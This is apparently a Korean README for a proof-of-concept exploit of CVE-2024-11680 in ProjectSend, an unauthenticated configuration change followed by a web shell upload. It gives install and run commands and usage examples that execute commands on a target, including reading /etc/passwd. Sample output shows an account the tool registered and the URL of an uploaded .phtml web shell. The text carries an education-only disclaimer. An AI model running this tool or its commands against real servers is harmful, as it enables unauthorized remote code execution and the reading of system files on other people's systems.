
이 저장소에는 ProjectSend r1605 및 이전 버전의 치명적인 취약점인 CVE-2024-11680에 대한 개념 증명(PoC) 익스플로잇이 포함되어 있습니다. 이 익스플로잇은 잘못된 권한 설정과 명령 주입으로 인한 부적절한 인증 문제를 대상으로 합니다.
이것은 ProjectSend의 인증되지 않은 구성 수정 및 웹 셸 업로드 취약점인 CVE-2024-11680에 대한 개념 증명 익스플로잇입니다.
이 익스플로잇은 ProjectSend의 여러 취약점을 이용합니다:
pip install requests colorama
python3 exploit.py -u <TARGET_URL> -c <COMMAND>
-u, --url: 대상 URL (예: http://target.com/projectsend)-c, --command: 대상에서 실행할 명령 (기본값: id)# Get Python version
python3 exploit.py -u http://target.com/projectsend -c "python3 -V"
# List directory contents
python3 exploit.py -u http://target.com/projectsend -c "ls -la"
# Get system information
python3 exploit.py -u http://target.com/projectsend -c "uname -a"
# Read passwd file
python3 exploit.py -u http://target.com/projectsend -c "cat /etc/passwd"
이 도구는 교육 목적으로만 제공됩니다. 책임 있게 사용하고 명시적 테스트 권한이 있는 시스템에서만 사용하세요.
[+] Target is vulnerable
[+] Insecure options enabled
[+] User registered successfully.
[+] New username: NoDLQWYF
[+] New password: X02A3g9LuN4S
[+] File uploaded: kLoISqdA.phtml
[+] File accessible at: http://target.com/projectsend/upload/files/1774958997-3b58e110c289baddfd8a6d1d5f34d96e77009fdc-kLoISqdA.phtml
[+] Command Output:
Python 3.9.2